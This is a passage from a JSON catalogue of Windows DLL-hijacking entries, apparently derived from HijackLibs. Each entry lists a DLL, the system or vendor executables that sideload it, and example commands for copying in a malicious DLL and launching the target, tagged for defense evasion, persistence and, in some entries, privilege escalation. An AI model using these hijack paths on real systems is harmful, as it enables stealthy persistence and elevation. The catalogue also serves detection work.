        "url": "https://hijacklibs.net/entries/mimetools.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mintdh.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mintdh.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\applytrustoffline.exe\\\"\"\n\n# mintdh.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\applytrustoffline.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\pktmon.exe (Sideloading)\n- %SYSTEM32%\\plasrv.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-mintdh.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mintdh.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mintdh.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mintdh",
    "name": "mintdh.dll",
    "namespace": "windows:dllhijack:mintdh",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mintdh.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious miracastview.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%WINDIR%\\\\Miracast\\\\miracastview.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%WINDIR%\\\\MiraCast\\\\MiracastView.exe\\\"\"\n\n# miracastview.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %WINDIR%\\Miracast\n\n**Vulnerable Executables:**\n- %WINDIR%\\MiraCast\\MiracastView.exe (Sideloading)\n",
    "_source": "windows-dllhijack-miracastview.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "miracastview.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "miracastview.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-miracastview",
    "name": "miracastview.dll",
    "namespace": "windows:dllhijack:miracastview",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2025/04/29/finding-minhook-in-a-sideloading-attack-and-sweden-too/"
      },
      {
        "label": "Reference",
        "url": "https://x.com/fromCharCode/status/1030107346230423554"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/miracastview.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious miutils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\miutils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\register-cimprovider.exe\\\"\"\n\n# miutils.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\register-cimprovider.exe (Sideloading)\n- %SYSTEM32%\\winrs.exe (Sideloading)\n- %SYSTEM32%\\wsmanhttpconfig.exe (Sideloading)\n- %SYSTEM32%\\wsmprovhost.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-miutils.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "miutils.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "miutils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-miutils",
    "name": "miutils.dll",
    "namespace": "windows:dllhijack:miutils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/miutils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious mlang.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mlang.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\calc.exe\\\"\"\n\n# mlang.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\calc.exe (Sideloading)\n- %SYSTEM32%\\computerdefaults.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\fodhelper.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\ie4uinit.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-mlang.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "mlang.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "mlang.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-mlang",
    "name": "mlang.dll",
    "namespace": "windows:dllhijack:mlang",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mlang.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mmdevapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mmdevapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\audiodg.exe\\\"\"\n\n# mmdevapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\audiodg.exe (Sideloading)\n- %SYSTEM32%\\osk.exe (Sideloading)\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\devicecensus.exe (Environment Variable)\n- %SYSTEM32%\\mblctr.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n- %SYSTEM32%\\presentationsettings.exe (Environment Variable)\n- %SYSTEM32%\\sndvol.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-mmdevapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mmdevapi.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "mmdevapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mmdevapi",
    "name": "mmdevapi.dll",
    "namespace": "windows:dllhijack:mmdevapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mmdevapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious mobilenetworking.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mobilenetworking.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mbaeparsertask.exe\\\"\"\n\n# mobilenetworking.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mbaeparsertask.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-mobilenetworking.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mobilenetworking.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mobilenetworking.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "windows-dllhijack-mobilenetworking",
    "name": "mobilenetworking.dll",
    "namespace": "windows:dllhijack:mobilenetworking",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mobilenetworking.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mozglue.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\SeaMonkey\\\\mozglue.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\SeaMonkey\\\\seamonkey.exe\\\"\"\n\n# mozglue.dll\n\n**Vendor:** Mozilla\n\n**Expected Location:** %PROGRAMFILES%\\SeaMonkey\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\SeaMonkey\\seamonkey.exe (Sideloading)\n\n**Acknowledgement:** Samir\n",
    "_source": "windows-dllhijack-mozglue.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mozglue.dll — Sideloading hijacking (Mozilla)",
    "execution": {
      "template": "mozglue.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mozglue",
    "name": "mozglue.dll",
    "namespace": "windows:dllhijack:mozglue",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/SBousseaden/status/1530595156055011330"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mozglue.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious mpclient.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Windows Defender\\\\mpclient.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Windows Defender\\\\mpcmdrun.exe\\\"\"\n\n# mpclient.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Windows Defender\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Windows Defender\\mpcmdrun.exe (Sideloading)\n- %PROGRAMFILES%\\Windows Defender\\nissrv.exe (Sideloading)\n- %PROGRAMFILES%\\Windows Defender\\dlpuseragent.exe (Sideloading)\n",
    "_source": "windows-dllhijack-mpclient.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mpclient.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mpclient.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "remote"
    ],
    "id": "windows-dllhijack-mpclient",
    "name": "mpclient.dll",
    "namespace": "windows:dllhijack:mpclient",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/Sh0ckFR/status/1554021948967079936"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mpclient.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mpgear.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Windows Defender Advanced Threat Protection\\\\Classification\\\\mpgear.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Windows Defender Advanced Threat Protection\\\\Classification\\\\SenseCE.exe\\\"\"\n\n# mpgear.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Windows Defender Advanced Threat Protection\\Classification\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Windows Defender Advanced Threat Protection\\Classification\\SenseCE.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-mpgear.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mpgear.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mpgear.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mpgear",
    "name": "mpgear.dll",
    "namespace": "windows:dllhijack:mpgear",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://asec.ahnlab.com/en/58319/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/1643a9c54e5d730fb0ebf4ab49e6c1d3a09dcd2c3a0282674330346d90990ab0"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/e1316301e7904a415fdd2a1707d1a48220cce055aab17b36a48e67bf0369edba"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mpgear.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mpr.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mpr.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootcfg.exe\\\"\"\n\n# mpr.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootcfg.exe (Sideloading)\n- %SYSTEM32%\\dcdiag.exe (Sideloading)\n- %SYSTEM32%\\dfsrdiag.exe (Sideloading)\n- %SYSTEM32%\\driverquery.exe (Sideloading)\n- %SYSTEM32%\\dsmgmt.exe (Sideloading)\n- %SYSTEM32%\\eventcreate.exe (Sideloading)\n- %SYSTEM32%\\filehistory.exe (Environment Variable)\n- %SYSTEM32%\\getmac.exe (Sideloading)\n- %SYSTEM32%\\gpresult.exe (Sideloading)\n- %SYSTEM32%\\iesettingsync.exe (Sideloading)\n- %SYSTEM32%\\net.exe (Sideloading)\n- %SYSTEM32%\\ntdsutil.exe (Sideloading)\n- %SYSTEM32%\\openfiles.exe (Sideloading)\n- %SYSTEM32%\\pnpunattend.exe (Sideloading)\n- %SYSTEM32%\\rdpclip.exe (Sideloading)\n- %SYSTEM32%\\rekeywiz.exe (Sideloading)\n- %SYSTEM32%\\repadmin.exe (Sideloading)\n- %SYSTEM32%\\sdclt.exe (Sideloading)\n- %SYSTEM32%\\setupugc.exe (Sideloading)\n- %SYSTEM32%\\systeminfo.exe (Sideloading)\n- %SYSTEM32%\\taskkill.exe (Sideloading)\n- %SYSTEM32%\\waitfor.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-mpr.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mpr.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "mpr.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mpr",
    "name": "mpr.dll",
    "namespace": "windows:dllhijack:mpr",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mpr.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mprapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mprapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\rasautou.exe\\\"\"\n\n# mprapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\rasautou.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-mprapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mprapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mprapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mprapi",
    "name": "mprapi.dll",
    "namespace": "windows:dllhijack:mprapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mprapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious mpsvc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMDATA%\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\%VERSION%\\\\mpsvc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMDATA%\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\%VERSION%\\\\MsMpEng.exe\\\"\"\n\n# mpsvc.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMDATA%\\Microsoft\\Windows Defender\\Platform\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMDATA%\\Microsoft\\Windows Defender\\Platform\\%VERSION%\\MsMpEng.exe (Sideloading)\n",
    "_source": "windows-dllhijack-mpsvc.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mpsvc.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mpsvc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-mpsvc",
    "name": "mpsvc.dll",
    "namespace": "windows:dllhijack:mpsvc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/revil-ransomware-uses-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2020/11/04/a-new-apt-uses-dll-side-loads-to-killlsomeone/"
      },
      {
        "label": "Reference",
        "url": "https://www.fortinet.com/blog/threat-research/dll-side-loading-technique-used-in-recent-kaseya-ransomware-attack"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mpsvc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious mrmcorer.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mrmcorer.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mcbuilder.exe\\\"\"\n\n# mrmcorer.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mcbuilder.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-mrmcorer.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mrmcorer.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mrmcorer.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-mrmcorer",
    "name": "mrmcorer.dll",
    "namespace": "windows:dllhijack:mrmcorer",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mrmcorer.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious msacm32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msacm32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\osk.exe\\\"\"\n\n# msacm32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\osk.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-msacm32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msacm32.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msacm32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-msacm32",
    "name": "msacm32.dll",
    "namespace": "windows:dllhijack:msacm32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msacm32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious msasn1.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msasn1.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"winbox64.exe\\\"\"\n\n# msasn1.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- winbox64.exe (Sideloading)\n- winbox.exe (Sideloading)\n\n**Acknowledgement:** ice-wzl\n",
    "_source": "windows-dllhijack-msasn1.md",
    "author": "ice-wzl",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msasn1.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msasn1.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-msasn1",
    "name": "msasn1.dll",
    "namespace": "windows:dllhijack:msasn1",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://ice-wzl.medium.com/mikrotik-winbox-dll-side-loading-vulnerability-9ed9420bd4d7"
      },
      {
        "label": "Reference",
        "url": "https://github.com/pbatard/rufus/issues/1877"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msasn1.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious mscms.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mscms.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\colorcpl.exe\\\"\"\n\n# mscms.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\colorcpl.exe (Sideloading)\n- %SYSTEM32%\\dccw.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-mscms.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "mscms.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mscms.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-mscms",
    "name": "mscms.dll",
    "namespace": "windows:dllhijack:mscms",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mscms.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mscoree.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mscoree.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\aitstatic.exe\\\"\"\n\n# mscoree.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\aitstatic.exe (Sideloading)\n- %SYSTEM32%\\presentationhost.exe (Sideloading)\n- %WINDIR%\\Microsoft.NET\\Framework\\v%VERSION%\\applaunch.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-mscoree.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mscoree.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mscoree.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mscoree",
    "name": "mscoree.dll",
    "namespace": "windows:dllhijack:mscoree",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://www.secureworks.com/research/shadowpad-malware-analysis"
      },
      {
        "label": "Reference",
        "url": "https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mscoree.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mscorsvc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v%VERSION%\\\\mscorsvc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%WINDIR%\\\\Microsoft.NET\\\\Framework\\\\v%VERSION%\\\\mscorsvw.exe\\\"\"\n\n# mscorsvc.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %WINDIR%\\Microsoft.NET\\Framework\\v%VERSION%\n\n**Vulnerable Executables:**\n- %WINDIR%\\Microsoft.NET\\Framework\\v%VERSION%\\mscorsvw.exe (Sideloading)\n- %WINDIR%\\WinSxS\\amd64_netfx4-ngentask_exe_%VERSION%\\ngentask.exe (Phantom)\n\n**Acknowledgement:** Michał Kucharski\n",
    "_source": "windows-dllhijack-mscorsvc.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mscorsvc.dll — Phantom, Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mscorsvc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mscorsvc",
    "name": "mscorsvc.dll",
    "namespace": "windows:dllhijack:mscorsvc",
